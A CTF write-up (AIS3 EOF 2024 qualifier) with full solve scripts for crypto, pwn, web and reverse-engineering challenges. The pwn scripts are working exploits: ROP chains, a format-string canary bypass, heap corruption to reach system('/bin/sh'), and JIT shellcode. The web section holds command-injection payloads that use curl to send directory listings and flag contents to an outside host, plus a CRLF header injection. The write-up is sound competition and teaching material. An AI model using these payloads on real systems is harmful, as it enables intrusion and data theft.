Skip to content

AIS3 EOF 2024 Qual Writeup

Crypto

Baby AES

先利用 CTR 拿到一串 counter 的 cipher,然後用拿到的這串 cipher 和 CFB 可以讓 server 幫想要的 plain 加密

Solve Script :

import sys
if sys.platform == 'darwin':
    sys.path.append('/Users/curious/code')
else:
    sys.path.append('/home/curious/code')

from CTFLib.all import *

r = nc('nc chal1.eof.ais3.org 10003')

res = eval(r.recvline().strip().split(b': ')[1])
counter = bytes_to_long(base64.b64decode(res[0]))
c1_cipher = base64.b64decode(res[1])
c2_cipher = base64.b64decode(eval(r.recvline().strip().split(b': ')[1])[1])
c3_cipher = base64.b64decode(eval(r.recvline().strip().split(b': ')[1])[1])

def oracle(mode, msg):
    r.sendlineafter(b'? ', mode)
    r.sendlineafter(b'? ', base64.b64encode(msg))
    return tuple(base64.b64decode(eval(data)) for data in r.recvline().strip().split())

counter_cipher = oracle(b'CTR', b'\0' * (0x10 * 10))[1]
counter_cipher_block = [counter_cipher[i: i + 16] for i in range(0, len(counter_cipher), 16)]

c1 = b''
c1 += oracle(b'CFB', xor(long_to_bytes(counter, 16), counter_cipher_block[1]) + c1_cipher[:16])[1][16: 32]
c1 += oracle(b'CFB', xor(c1_cipher[:16], counter_cipher_block[2]) + c1_cipher[16: 32])[1][16: 32]

counter += 1

res = oracle(b'CFB', xor(long_to_bytes(counter, 16), counter_cipher_block[3]) + b'\0' * 0x20)[1]
c2 = xor(res[16:], c2_cipher)

counter += 1

c3 = oracle(b'CFB', xor(long_to_bytes(counter, 16), counter_cipher_block[4]) + c3_cipher[:16])[1][16: 32]
c3 += xor(c3_cipher[16: 32], counter_cipher_block[0])

r.close()

print(xor(c1, c2, c3))

Flag : AIS3{_Bl0Ck_CIPHER_M0De_M@STER_}


Baby RSA

因為 new_mm 去 xor 一個 64 bits 的數字,可以把它想成加或減一個 64 bits 的數字,而且 64 bits 遠小於 2048 bits,所以可以用 Coppersmith Short-Pad Attack。

但這邊如果用 SageMath 的 small_roots 會算不出來,所以我是用自己寫的 Coppersmith Method 然後調整 mtX 算出來

Solve Script :

import sys
if sys.platform == 'darwin':
    sys.path.append('/Users/curious/code')
else:
    sys.path.append('/home/curious/code')

from CTFLib.all import *

r = nc('nc chal1.eof.ais3.org 10002')

e = 3
n = int(r.recvline().strip().split(b', ')[0].split(b'=')[1])
c = int(r.recvline().strip().split(b':  ')[1])

r.sendlineafter(b'?', str(c).encode())
r.recvline()
new_c = int(r.recvline().strip().split(b':  ')[1])

r.close()


# =========


P2 = PolynomialRing(IntegerRing(), names=('x', 'y'))
(x, y) = P2._first_ngens(2)

f1 = x ** e - c
f2 = (x + y) ** e - new_c

h = f1.resultant(f2, x).univariate_polynomial().change_ring(Zmod(n))

a = coppersmith_method(h, 2, 3, 2 ** 64)

P = PolynomialRing(Zmod(n), implementation='NTL', names=('x',))
x = P._first_ngens(1)[0]
f = x + a

print(long_to_bytes(franklin_reiter(e, c, new_c, f, x)))

Flag : AIS3{c0pPEr5M1tHS_5hOR7_P@D_a7t4cK}

Other Solve (賽後 Upsolve)

連線三次然後 Broadcast Attack

Solve Script :

import sys
if sys.platform == 'darwin':
    sys.path.append('/Users/curious/code')
else:
    sys.path.append('/home/curious/code')

from CTFLib.all import *

n_list = []
c_list = []

for _ in range(3):
    r = nc('nc chal1.eof.ais3.org 10002')

    n_list.append(int(r.recvline().strip().split(b', ')[0].split(b'=')[1]))
    c_list.append(int(r.recvline().strip().split(b':  ')[1]))

    r.close()

m = crt(c_list, n_list)
m = int(iroot(m, 3)[0])
print(long_to_bytes(m))


Baby ECDLP

E 這個 curve 實際上可以分成 EllipticCurve(GF(p), [a, b])EllipticCurve(GP(q), [a, b]),因為在 E 上的加法和乘法都模 n,所以其實可以在模 p 和模 q 底下運算後再用 CRT 組起來。由此特性也可以推斷在 E 上的 C = mGm 可以先在 pq 底下做計算,然後再用 CRT 組起來(他們的模數分別是 G 在兩條 Elliptic Curve 上的階)

Solve Script :

import sys
if sys.platform == 'darwin':
    sys.path.append('/Users/curious/code')
else:
    sys.path.append('/home/curious/code')

from CTFLib.all import *

a = -27154162491641447827317608566498368226380663970340212572188253639157407218670381784517832897462487004312776330185051159943282359670183002512120286733987175357480650460937649544845700061395973601196841500934313919493782733624093678701609110901122223990950729051016476731971121823367177421889817992938334549
b = 1582817258653504912095837554346765000265277992215371717068185730839067219018723357006137750249801786737877916839023327905781960451040039537460179157852427719274659276937271923192197684871614875928170877260995573705283990360365185024632017500344370793309893312205444388949133990629771840801117504985014678198427469220008514854309578415211036625606878291957484596541022826252394105050517195849544221684924860724599625501222481150600517965332854601133341721069
C = (7436093194246630483944335175296289563324317371263694228356174117382804849597971217336103824411672179392266726074785617671300813763053114216179250221039892603392880592423379989456603052299778075016044952594411971151420067593340798481269784958872343906682601895033347223307776772075758340491676676976171581, 6342939271272279858259200908013715862939508666280503248590865118774273906373143491503444642001162583341786435804910694908034371484931318715377000661445025084060483595686373540929271169931659317320625326298115913215800295653000999230239869305187900959300563074138805139716095582068425980929262938455949677)

x = var('x')
f = x ** 3 - x ** 2 + a * x + b
roots = f.roots()

p, q = roots[0][0], roots[2][0]

curve_p = EllipticCurve(Zmod(p), [a, b])
curve_q = EllipticCurve(Zmod(q), [a, b])

G_p = curve_p(p, p) + curve_p(q, q)
G_q = curve_q(p, p) + curve_q(q, q)

C_p = curve_p(C[0], C[1])
C_q = curve_q(C[0], C[1])

order_p = G_p.order()
order_q = G_q.order()

m_p = discrete_log(C_p, G_p, operation='+')
m_q = discrete_log(C_q, G_q, operation='+')

common_factor = gcd(order_p, order_q)

new_num = 1
while (order_p % common_factor) == 0:
    order_p //= common_factor
    new_num *= common_factor
order_q //= common_factor

m = crt([int(m_p % order_p), int(m_p % new_num), int(m_q % order_q)], [int(order_p), int(new_num), int(order_q)])
print(long_to_bytes(m))

Flag : AIS3{e@5Y_Int393R_FAcTOr124t1oN_And_An_1nTr0dUc1ToN_to_Mov_4tTAcK5}


Baby Side Channel Attack (賽後 Upsolve)

可以從 powmod 來計算 d,然後用 gmpy2 來計算

\[ \operatorname{gcd}(e ^ d - (e ^ d \pmod n), (e ^ d \pmod n) ^ e - e) \]

就可以得到 n

Solve Script :

import sys
if sys.platform == 'darwin':
    sys.path.append('/Users/curious/code')
else:
    sys.path.append('/home/curious/code')

from CTFLib.all import *
import gmpy2

e = 65537
ed = 5721688550588077985641191508173961972245074865476994704064479801946123887164209388663342701338332558567812609314347659489287173353047777144533962426026347418318069616921736264321855706838583692147678977066176062158232168668404815427100366049936738496591080125636873467881885209211083115619318141949498806942839643469865049195521037671151773559734628632549787594196712198658273397444193797775811305995509546010942133781474885616340776193210470242080424913632036855870044912767294885166655404543194845749910105549754235167481217327222138073116966637145930541288124689469006397656333341222230561315927844249209568480354
de = 8985256394095619079119099570094014846268317341324798034846555948870847429329193779767437326846889358426021449544400148884762043197023074840010149626425917422564714701891075861428282977311259090431056666240151543042536272844750622812295866605086015645366488007125169276479711781593166580720782664089890448123442349041750508219113854228963560960274445282199168095845010260471482937497287090254883835249450636581713174149273026191425541759670393086780488747365895955879520359959181158188465207455606975283163259194507214598217602443929920200291444536399862579286846812756318954111746283506979355959316209074536433672316
c = 7739104450631011229057411265150712443424785514265051342793819325372820300340472256011233443673633601159152976538560072352375269634415819053954986731906979762835836124649316216002733865651050214718799689619175866375452829969954447145351504992648855716308787054916022056130053312632711699359262825162281932961292544396548580708063991082954474478238205557331135141442998387857016443945540320289168024163399773525375968227097250220143134871643929152579713763213644307485869383724166384994980928616425183465436930377862579190667146441606703735207068056823055834058286201970411571547298263777594380560574513740280779379949

f = open('trace.txt')
for _ in range(96):
    f.readline()

d = ''
while True:
    code = f.readline().strip().split(':')[1].strip()
    if 'if' in code:
        next_code = f.readline().strip().split(':')[1].strip()
        if 'r = r * a % c' == next_code:
            d += '1'
        else:
            d += '0'
    if 'return' in code:
        break
d = int(''.join(reversed(d)), 2)

e_g, d_g, ed_g, de_g = gmpy2.mpz(e), gmpy2.mpz(d), gmpy2.mpz(ed), gmpy2.mpz(de), 
n = int(gmpy2.gcd(d_g ** e_g - de_g, ed_g ** e_g - e_g))

print(long_to_bytes(pow(c, d, n)))

Flag : AIS3{SIde_CH@Nn3L_1$_e@sy_wH3N_Th3_DA7A_Le@KA93_i5_eX@Ct}


Baby XOR (賽後 Upsolve)

out = xorrrr(mods),可以假設一個 48 bits 的數 Sout[i] ^ S == mods[i]。把 S 的每一個 bit 都用一個 GF(3) 的 symbol 代表,然後把 mods[i] 寫成這 48 個 symbol 的 polynomial。因為 mods[i] 為 48 bits 的質數,所以第 0 和 第 47 個 bit 都是 1,而其他 bit 不是 1 就是 0。且 mods[i]GF(3) 底下不是 1 就是 2。利用這些條件可以解出一些 S,然後一個一個嘗試 S 看看是否能讓所有 mods[i] 都是質數

解出 mods[i] 之後就可以用 這篇 文章寫的方式,稍微改一下 lattice(我也不知道為啥那個 A.bit_length() = 1337 + 6 可以然後 A.bit_length() = 1337 就不行)就可以解出 secret

Solve Script :

import sys
if sys.platform == 'darwin':
    sys.path.append('/Users/curious/code')
else:
    sys.path.append('/home/curious/code')

from CTFLib.all import *
from Crypto.Cipher import AES

n, b, m_bits = 1337, 48, 6

with open("output.txt") as f:
    out = eval(f.readline())
    hint = eval(f.readline())
    cipher = bytes.fromhex(f.readline())

def calc_mods():
    R = PolynomialRing(GF(3), b, 'x')
    S_sym_bits = list(R.gens())

    mods_sym_list = []
    for o in out:
        o_bits = [int(x) for x in bin(o)[2:].rjust(b, '0')[::-1]]
        o_xor_S_sym = sum(
            [
                2 ** i * (y if x == 0 else 1 - y)
                for i, (x, y) in enumerate(zip(o_bits, S_sym_bits))
            ]
        )
        mods_sym_list.append(o_xor_S_sym)

    S0 = 1 - (out[0] & 1)
    Sb1 = 1 - (out[0] >> (b - 1))

    prod_list = [(f - 1) * (f - 2) for f in mods_sym_list]
    constrains = (
        [x * (x - 1) for x in S_sym_bits] + \
        [S_sym_bits[0] - S0] + \
        [S_sym_bits[b - 1] - Sb1]
    )
    Q = R.quotient(constrains)
    prod_list = [Q(f).lift() for f in prod_list]
    M, monos = Sequence(prod_list).coefficient_matrix(sparse=False)
    monos = vector(monos)
    kr = M.right_kernel_matrix()

    S_sym_bits_zz = [x.change_ring(ZZ) for x in S_sym_bits]
    S_sym_zz = sum((2 ** i) * x for i, x in enumerate(S_sym_bits_zz))
    S_list = []
    for v in kr:
        if v[-1] != 1:
            continue
        if (2 in [ZZ(s) for m, s in zip(monos, v) if m.degree() == 1]):
            continue

        subs = dict(
            [(m.change_ring(ZZ), ZZ(s)) for m, s in zip(monos, v) if m.degree() == 1]
        )
        subs[S_sym_bits_zz[0]] = ZZ(S0)
        subs[S_sym_bits_zz[b - 1]] = ZZ(Sb1)

        S_list.append(int(S_sym_zz.subs(subs)))

    for S in S_list:
        mods = [S ^ m for m in out]
        if all(isPrime(m) for m in mods):
            return mods

mods = calc_mods()

secret = mul_noise_crt(mods[:256], hint[:256], 1337, 6)

key = hashlib.sha256(str(secret).encode()).digest()[:16]
aes = AES.new(key, AES.MODE_CTR, nonce=b"\x00" * 12)
print(aes.decrypt(cipher))

Flag : AIS3{cON9ratuL@7e_0N_S0lv1ng_tHis_CHAlLen93_aND_1_am_WONd3r1NG_H0w_yOU_$0lvED_THi5}


Pwn

jackpot

printf("Here is your ticket 0x%lx\n", ticket_pool[number]); 可以 leak stack 上的資料,然後 read(0, name, 0x100); 可以 BOF。所以我先 leak rbp 的值然後改 return address 重新執行一次 main,然後 leak libc 的 address 然後 open & read & write

Solve Script :

from pwn import *

context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

main_addr = 0x401358
buf = 0x405000 - 0x100

# docker create --name jackpot-ubuntu ubuntu@sha256:bbf3d1baa208b7649d1d0264ef7d522e1dc0deeeaaf6085bf8e4618867f03494
# docker cp jackpot-ubuntu:/lib/x86_64-linux-gnu/libc.so.6 .
# docker rm jackpot-ubuntu
# r = process('./jackpot', env={'LD_PRELOAD': './libc.so.6'})
r = remote('10.105.0.21', 12115)

r.sendlineafter(b': ', b'35')
rbp = int(r.recvline().strip().split()[4], 16) - 0x118
info(f'rbp : {hex(rbp)}')

r.sendlineafter(b': ', b'a' * 0x70 + flat(rbp + 0x110, main_addr))

r.sendlineafter(b': ', b'17')
libc = int(r.recvline().strip().split()[4], 16) - 0x29e40
info(f'libc : {hex(libc)}')

open_addr = libc + 0x1142f0
read_addr = libc + 0x1145e0
write_addr = libc + 0x114680

pop_rdi_ret = libc + 0x2a3e5
pop_rsi_ret = libc + 0x2be51
pop_rdx_ret = libc + 0x796a2

r.sendlineafter(b': ', b'./flag\0'.ljust(0x70, b'.') + flat(
    rbp, 
    pop_rdi_ret, rbp + 0xa0, 
    pop_rsi_ret, 0, 
    open_addr, 
    pop_rdi_ret, 3, 
    pop_rsi_ret, buf, 
    pop_rdx_ret, 0x50, 
    read_addr, 
    pop_rdi_ret, 1, 
    write_addr
))

r.interactive()

Flag : AIS3{juST_@_ea5y_InT_0vERFloW_4nD_8UF_Ov3rFL0W}


sec_fmt

主要就是 response_notfound 並沒有先清理掉 buf 的殘留值,然後後面會執行 __printf_chk(1, buf),所以可以控制 buf 位址上的殘留值然後 FMT,但因為 FORTIFY 是開的,所以用 %p%s leak codebaselibcespcanary,然後 response_regist_error 有 BOF 可以寫 ROP,這邊比較麻煩的就是 canary 的第 1 個 byte 是 0,所以我用 libc 裡面的 %n 寫 canary 前 3 byte 來 bypass

Solve Script :

from pwn import *
import json

context.arch = 'i386'
context.terminal = ['tmux', 'splitw', '-h']

# r = process('./sec_fmt', env={'LD_PRELOAD': './libc.so.6'})
r = remote('10.105.0.21', 14070)

def register(name, id):
    r.sendlineafter(b'> ', b'1')
    r.sendlineafter(b': ', name)
    r.sendlineafter(b': ', id)
    return json.loads(r.recvline().strip())['uuid']

# =========

uuid = register(b'a' * 0x116 + b'%p', b'a')

r.sendlineafter(b'> ', b'2')
r.sendlineafter(b': ', uuid.encode())

r.sendlineafter(b'> ', b'3')
r.sendlineafter(b': ', b'a')

codebase = int(r.recvline().strip(), 16) - 0x3053
info(f'codebase : {hex(codebase)}')
strcmp_got = codebase + 0x4f94

r.sendlineafter(b'> ', b'3')
r.sendafter(b': ', uuid.encode() + b'\0')


uuid = register(b'a' * 0x116 + p32(strcmp_got) + b'%p' * 5 + b'.' + b'%s', b'a')

r.sendlineafter(b'> ', b'2')
r.sendlineafter(b': ', uuid.encode())

r.sendlineafter(b'> ', b'3')
r.sendlineafter(b': ', b'a')

r.recvuntil(b'.')
libc = u32(r.recv(4)) - 0x191a50
info(f'libc : {hex(libc)}')
system_addr = libc + 0x48170
binsh_addr = libc + 0x1bd0d5

r.sendlineafter(b'> ', b'3')
r.sendafter(b': ', uuid.encode() + b'\0')


uuid = register(b'a' * 0x116 + b'%p' * 116, b'%p' * 57)

r.sendlineafter(b'> ', b'2')
r.sendlineafter(b': ', uuid.encode())

r.sendlineafter(b'> ', b'3')
r.sendlineafter(b': ', b'a')

esp = int(r.recvlines(2)[1][-8:], 16) - 0x338
info(f'esp : {hex(esp)}')

r.sendlineafter(b'> ', b'3')
r.sendafter(b': ', uuid.encode() + b'\0')


uuid = register(b'a' * 0x116 + p32(esp + 0x31c + 1) + b'%p' * 5 + b'.' + b'%s', b'a')

r.sendlineafter(b'> ', b'2')
r.sendlineafter(b': ', uuid.encode())

r.sendlineafter(b'> ', b'3')
r.sendlineafter(b': ', b'a')

r.recvuntil(b'.')
canary = u32(b'\0' + r.recv(3))
info(f'canary : {hex(canary)}')

# =========

for i in range(15):
    register(b'a', b'a')

r.sendlineafter(b'> ', b'1')

payload = b'a' * 12 + p32(esp - 0x150) + b'a' * 12

payload += flat(
    libc + 0x1be4f7,   # %n
    codebase + 0x5f30, # ""
    codebase + 0x3050, # %s
    codebase + 0x5f30, # ""
    esp + 0x2fc - 3,   # canary position - 3
    esp + 0x2fc - 3,   # canary position - 3
    codebase + 0x3050, # %s
    canary + 0x77      # canary + 0x77
)

payload += b'a' * 28

payload += flat(system_addr, 0xdeadbeef, binsh_addr)

payload = payload.ljust(0x1c0, b'a')

info('NULL BYTES IN PAYLOAD : ' + str(b'\0' in payload))
info('NEWLINE IN PAYLOAD    : ' + str(b'\n' in payload))

r.sendlineafter(b': ', payload)
r.sendlineafter(b': ', b'a' * 0xff)

r.interactive()

Flag : AIS3{juST_CH3Ck_In_PROc_maps_Re@d_ONlY_5e9MEnt}


perm_note

主要就是 merge_rdonly_note 可以把 RDWR + RDONLY merge 起來,構造一下 chunk 的大小和 chunk 裡面的資料,就可以寫到下一個 chunk 的 metadata,然後就蠻複雜,所以就直接看 script。

Solve Script :

from pwn import *

context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

# r = process('./perm_note', env={'LD_PRELOAD': './libc.so.6'})
r = remote('10.105.0.21', 13150)

def write_RDONLY_note(idx, size, content):
    r.sendlineafter(b'> ', b'2')
    r.sendlineafter(b'? ', str(idx).encode())
    r.sendlineafter(b'? ', str(size).encode())
    r.sendafter(b': \n', content)

def delete_note(idx):
    r.sendlineafter(b'> ', b'6')
    r.sendlineafter(b'? ', str(idx).encode())

def merge_RDONLY_note(dst_idx, src_idx):
    r.sendlineafter(b'> ', b'5')
    r.sendlineafter(b'? ', str(dst_idx).encode())
    r.sendlineafter(b'? ', str(src_idx).encode())

def write_RDWR_note(idx, size, content):
    r.sendlineafter(b'> ', b'3')
    r.sendlineafter(b'? ', str(idx).encode())
    r.sendlineafter(b'? ', str(size).encode())
    r.sendafter(b': \n', content)

def rewrite_RDWR_note(idx, content):
    r.sendlineafter(b'> ', b'4')
    r.sendlineafter(b'? ', str(idx).encode())
    r.sendafter(b': \n', content)

# =========

for i in range(8):
    write_RDONLY_note(i, 0x80, b'a')

for i in reversed(range(8)):
    delete_note(i)

write_RDONLY_note(0, 0x80, b'a')

r.sendlineafter(b'> ', b'1')
r.sendlineafter(b'? ', b'0')
r.recvuntil(b': \n')
heap_base = u64(r.recv(6).ljust(8, b'\0')) - 0x461
info(f'heap base : {hex(heap_base)}')

for i in range(1, 7):
    write_RDONLY_note(i, 0x80, b'a')

write_RDONLY_note(7, 0x20, b'a')

r.sendlineafter(b'> ', b'1')
r.sendlineafter(b'? ', b'7')
r.recvuntil(b': \n')
libc = u64(r.recv(6).ljust(8, b'\0')) - 0x1ecc61
info(f'libc : {hex(libc)}')
free_hook = libc + 0x1eee48
system_addr = libc + 0x52290

for i in range(8):
    delete_note(i)

# =========

for i in range(1, 8):
    write_RDONLY_note(i, 0x80, b'a' * 0x80)

write_RDWR_note(0, 0x81, b'a' * 0x80 + b'\n')

for i in range(1, 8):
    merge_RDONLY_note(0, i)

write_RDONLY_note(1, 0x80, b'a' * 0x80)
write_RDONLY_note(3, 0x90, b'a' * 0x90)
merge_RDONLY_note(0, 1)


write_RDWR_note(1, 0x91, b'a' * 0x90 + b'\n')
write_RDONLY_note(2, 0x70, b'a' * 0x68)


# build a chunk of size 0x100
merge_RDONLY_note(1, 2)
# build a chunk of size 0x520
merge_RDONLY_note(0, 3)


rewrite_RDWR_note(0, b'a' * 0x4f8 + p64(0x21) + b'\n')
rewrite_RDWR_note(1, b'a' * 0xf7 + b'\n')
rewrite_RDWR_note(1, b'a' * 0xf0 + p64(0x100)[:7] + b'\n')
rewrite_RDWR_note(1, flat(
    heap_base + 0x1290, heap_base + 0x1290,
    0, 0x21, 
    heap_base + 0x1270, heap_base + 0x1270
) + b'\n')


# clean unsorted bin
for i in range(2, 8):
    write_RDONLY_note(i, 0xb0, b'a' * 0x10)
for i in range(2, 8):
    delete_note(i)

write_RDONLY_note(2, 0xa0, b'a' * 0xa0)
write_RDONLY_note(3, 0xa0, b'a' * 0x10)


# delete 0x500 chunk & consolidate with 0x100 chunk
delete_note(0)


write_RDONLY_note(4, 0xa0, b'a' * 0x10)

delete_note(3)
delete_note(4)

merge_RDONLY_note(1, 2)
delete_note(1)


write_RDONLY_note(0, 0xa0, p64(free_hook))
write_RDONLY_note(1, 0xa0, b'/bin/sh\0')
write_RDONLY_note(2, 0xa0, b'a')
write_RDONLY_note(3, 0xa0, p64(system_addr))

delete_note(1)


r.interactive()

Flag : AIS3{@ll_Heap_SKILl_L3arN3d_iN_CL@5S_aR3_USed_Xd}


DFA (賽後 Upsolve)

因為他是限制 bytecode_sz 不能比 0x10000 大,所以可以利用 uint16_t Reject_State = (uint16_t)bytecode_sz+9+8;,當在構造所有 transitions 都不符合要跳到的位址 int reject_state_off = (int)(int16_t)(Reject_State - (state_default_trans_off+5)); 時,就可以控制 Reject_State = 0x1000b,然後這一個 jmp instruction 就會跳到第一個 state 的第一個 transition 的 alphabet 的位址,接著就是構造 shellcode 拿 shell

Solve Script :

from pwn import *
from tqdm import trange

context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

# docker create --name dfa-ubuntu ubuntu@sha256:2b7412e6465c3c7fc5bb21d3e6f1917c167358449fecac8176c6e496e5c1f05f
# docker cp dfa-ubuntu:/lib/x86_64-linux-gnu/libc.so.6 .
# docker rm dfa-ubuntu
# r = process('./dfa', env={'LD_PRELOAD': './libc.so.6'})
r = remote('10.105.0.21', 11107)

r.sendlineafter(b') ', b'47')

def state_setup(alphabet_list, next_state_list):
    assert len(alphabet_list) == len(next_state_list)

    num = len(alphabet_list)

    r.sendlineafter(b') ', str(num).encode())

    for i in range(num):
        r.sendline(str(alphabet_list[i]).encode())
        r.sendline(str(next_state_list[i]).encode())

def asm2num(code):
    return u32(asm(code)[:4])

state_setup(
    [
        asm2num('jmp $+36; nop; nop'), 
        asm2num('syscall; nop; nop'), 
        asm2num('xor esi, esi; jmp $-14'), 
        asm2num('xor edx, edx; jmp $-14'), 
    ], 
    [0] * 4
)

for _ in trange(42):
    state_setup(list(range(128)), [0] * 128)
for _ in trange(3):
    state_setup(list(range(6)), [0] * 6)
state_setup(list(range(8)), [0] * 8)

r.sendlineafter(b'> ', (chr(59) + '/bin/sh').encode())

r.interactive()

Flag : AIS3{I_F0rg3T_70_aDD_3pIL0GUe_len9th_QQ}


Web

DNS Lookup Tool: Final

比賽的時候我是假設 flag 的檔案名稱裡沒有 # 這個字元,所以一個一個加上 [!#] 去測試 flag 的檔案名稱長度

`curl http://139.162.109.66:8000/$(ls /fla[!#][!#][!#][!#][!#][!#][!#][!#][!#][!#][!#][!#][!#][!#][!#][!#])`

然後測試出來之後就用把 flag 印出來

`curl http://139.162.109.66:8000/$(cat /fla[!#][!#][!#][!#][!#][!#][!#][!#][!#][!#][!#][!#][!#][!#][!#][!#][!#][!#])`

這邊 {} 會被吃掉所以要自己補上

Flag : AIS3{jUsT_3aSy_c0MManD_1NJ3c7ION}

Other Solve (賽後 Upsolve)

後來發現可以更直接的解出來

`curl https://engvsb647k23s.x.pipedream.net -d "$(ls /)"`
`curl https://engvsb647k23s.x.pipedream.net -d "$(cat /fla'g'_WMyus2QrY1z8l1zI)"`

Internal

查資料可以發現 Nginx 的 internal 會 redirect 有 X-Accel-Redirect header 的封包,所以用 %0d%0aX-Accel-Redirect 寫進 response header

http://10.105.0.21:11748/?redir=http://10.105.0.21:11748/flag%0d%0aX-Accel-Redirect:%20/flag

Flag : AIS3{jUsT_sOM3_fUNNy_N9inX_FEaTuRe}


Rev

Flag Generator

用 IDA 打開之後可以發現有一個函數叫 writeFile

裡面有一段呼叫 fwrite 的程式,直接用 IDA 內建的工具 patch 他

然後就可以得到一個 flag.exe 檔,去 x64 的 Windows (arm 的不行)執行就可以得到 flag 了

Flag : AIS3{Us1ng_wInd0w5_I$_sUCh_a_Pa1N....}


PixelClicker

pixelclicker.exe 跑起來之後可以看到視窗上有這樣一行字

用 IDA 把 pixelclicker.exe 打開之後找到這一段 string

xref 之後可以找到一個 function,這個 function 最前面長這樣

稍微看一下後可以發現大概是在比對 Block 加上某一個 offset 代表的圖片和 pixelclicker.exe 視窗的圖片,所以用 x64dbg 追進去之後把 Block 加上某一個 offset 的 memory dump 出來(總共 dump 4 * 600 * 600),然後寫一個 script 把 memory dump 轉成圖片

Solve Script :

import png

def write_png(png_list: list, output_file: str):
    """
    - input
        - `png_list (list)` : `[[(r, g, b, a), ...], [], ...]` or `[[(r, g, b), ...], [], ...]`
        - `output_file (str)`
    """

    width = len(png_list[0])
    height = len(png_list)
    alpha = len(png_list[0][0]) == 4

    with open(output_file, 'wb') as f:
        w = png.Writer(width, height, greyscale=False, alpha=alpha)
        w.write(f, [sum(row, ()) for row in png_list])

block = open('block.dump', 'rb').read()
png_list = [[] for _ in range(600)]

width_idx = 0
height_idx = 0
for i in range(0, len(block), 4):
    if width_idx == 600:
        width_idx = 0
        height_idx += 1

    png_list[height_idx].append((block[i], block[i + 1], block[i + 2], block[i + 3]))
    width_idx += 1

png_list.reverse()

write_png(png_list, 'flag.png')

Flag : AIS3{JUST_4_5ImpLE_cLICkEr_g@m3}


Stateful

手動 trace 一遍之後可以知道經過這樣的運算之後(a1argv[1]

a1[14] += a1[35] + a1[8]
a1[9] -= a1[2] + a1[22]
a1[0] -= a1[18] + a1[31]
a1[2] += a1[11] + a1[8]
a1[6] += a1[10] + a1[41]
a1[14] -= a1[32] + a1[6]
a1[16] += a1[25] + a1[11]
a1[31] += a1[34] + a1[16]
a1[9] += a1[11] + a1[3]
a1[17] += a1[0] + a1[7]
a1[5] += a1[40] + a1[4]
a1[37] -= a1[29] + a1[3]
a1[23] += a1[7] + a1[34]
a1[39] -= a1[25] + a1[38]
a1[27] += a1[18] + a1[20]
a1[20] += a1[19] + a1[24]
a1[15] += a1[22] + a1[10]
a1[30] -= a1[33] + a1[8]
a1[1] -= a1[29] + a1[13]
a1[19] += a1[10] + a1[16]
a1[0] += a1[33] + a1[16]
a1[36] += a1[11] + a1[15]
a1[24] += a1[20] + a1[5]
a1[7] += a1[21] + a1[0]
a1[1] += a1[15] + a1[6]
a1[30] -= a1[13] + a1[2]
a1[1] += a1[16] + a1[40]
a1[31] += a1[1] + a1[16]
a1[32] += a1[5] + a1[25]
a1[13] += a1[25] + a1[28]
a1[7] += a1[10] + a1[0]
a1[21] += a1[34] + a1[15]
a1[21] -= a1[13] + a1[42]
a1[18] += a1[29] + a1[15]
a1[4] += a1[7] + a1[25]
a1[0] += a1[28] + a1[31]
a1[2] += a1[34] + a1[25]
a1[13] += a1[26] + a1[8]
a1[41] -= a1[3] + a1[34]
a1[37] += a1[27] + a1[18]
a1[4] += a1[27] + a1[25]
a1[23] += a1[30] + a1[39]
a1[18] += a1[26] + a1[31]
a1[10] -= a1[12] + a1[22]
a1[4] += a1[6] + a1[22]
a1[37] += a1[12] + a1[16]
a1[15] += a1[40] + a1[8]
a1[17] += a1[38] + a1[24]
a1[8] += a1[14] + a1[16]
a1[5] += a1[37] + a1[20]

會是

k_target = [0xE2, 0xCA, 0xCC, 0x33, 0x21, 0xFA, 0x53, 0x73, 0xCE, 0x62, 0xC4, 0x75, 0x5F, 0x87, 0x54, 0xF2, 0x1B, 0x3B, 0x8A, 0xCF, 0xFA, 0x90, 0x4C, 0x52, 0x6A, 0x52, 0x5F, 0xF0, 0x37, 0x40, 0x7B, 0x86, 0xBF, 0x33, 0x53, 0x35, 0x02, 0xDF, 0x54, 0xC0, 0x65, 0xEC, 0x7D]

所以寫一個 script

Solve Script :

k_target = [0xE2, 0xCA, 0xCC, 0x33, 0x21, 0xFA, 0x53, 0x73, 0xCE, 0x62, 0xC4, 0x75, 0x5F, 0x87, 0x54, 0xF2, 0x1B, 0x3B, 0x8A, 0xCF, 0xFA, 0x90, 0x4C, 0x52, 0x6A, 0x52, 0x5F, 0xF0, 0x37, 0x40, 0x7B, 0x86, 0xBF, 0x33, 0x53, 0x35, 0x02, 0xDF, 0x54, 0xC0, 0x65, 0xEC, 0x7D]

instruction_list = open('store').read().strip().split('\n')
instruction_list.reverse()

flag = k_target.copy()

for instruction in instruction_list:
    instruction = instruction.split()
    if instruction[1] == '+=':
        flag[int(instruction[0][3: -1])] -= flag[int(instruction[2][3: -1])] + flag[int(instruction[4][3: -1])]
    else:
        flag[int(instruction[0][3: -1])] += flag[int(instruction[2][3: -1])] + flag[int(instruction[4][3: -1])]
    flag[int(instruction[0][3: -1])] &= 0xff

print(bytes(flag))

Flag : AIS3{Are_You_@_sTA7EfUL_OR_S7@t3L3S5_CTfer}